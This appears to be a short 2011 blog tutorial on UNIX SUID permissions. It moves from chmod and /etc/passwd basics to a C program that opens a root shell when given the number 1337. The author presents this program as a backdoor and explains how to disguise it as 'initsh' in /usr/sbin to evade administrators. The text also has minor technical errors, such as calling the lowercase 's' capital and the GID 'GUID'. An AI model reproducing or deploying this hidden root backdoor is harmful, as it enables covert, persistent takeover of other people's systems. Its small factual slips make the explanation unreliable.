UNIX/GNU Linux SUID Quick Tutorial
Thursday, October 27th, 2011Here I explain some system administration on UNIX’s Set User ID, or SUID with a short video tutorial after the break.
In UNIX, we can have files (binaries) that can run as the owner of the file. No matter who executes it. This is called a SUID attribute. You can set a file to SUID with:
chmod +4XXX file.exe
I put the exe extension just to show that the file is binary. If you chown (change ownership) of this to root, it will be ran as UID (User ID) “0″ or user “root.” Here is what the file looks like after chmod(ing) it to 4XXX (XXX being your normal rwxrwxrwx settings, exempli gratia – 777, 755, etc. in our case I used 4755):
-rwsr-xr-x 1 root root 0 2011-10-27 22:21 file.exe
Here is what this means: the capital “s” means the file is “suid” or “set user id” which means it will change to the owner’s (in our case “root”) UID of “0″ before executing.
The “r” is “read,” “w” is “write,” and “x” is “executable” BY sets of three for: Owner,Group,Other respectively.
How does it know the UID of the owner root, you say? It most likely looks at the lines in /etc/passwd:
root:x:0:0:root:/root:/bin/bash
The first zero is the UID, the second is the GUID, or Group User ID. the “x” means that the password hash and salt are hidden in the /etc/shadow file.
Now, this does not work with shell scripts for more than just security purposes. If you’d like to do something like that, you would need to play with sudo and the sudoers file, but not all UNIX systems come with sudo.
So how do we work around that? By compiling an easy C program that runs it via a system() call!
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char *argv[]){
if(atoi(argv[1]) == 1337){
printf("shelling out.\n");
system ("sh");
}
else{ }
return 0;
}
All this simple application does is run “sh”, or spawn a new shell, as root IFF the number “1337″ is passed to it. Why did I include the number part? Well, to backdoor a system it’s incredibly easy to hide this small application, and since it must|is compiled, if found, the owner of the machine won’t know what it is. I usually call this something like “initsh” and put it in /usr/sbin to look very non suspicious to the novice system administrator. My secret is out!!
echo $PATH | sed 's/:/\n/g' | xargs ls | grep initsh
Check out the video below:
~Douglas.
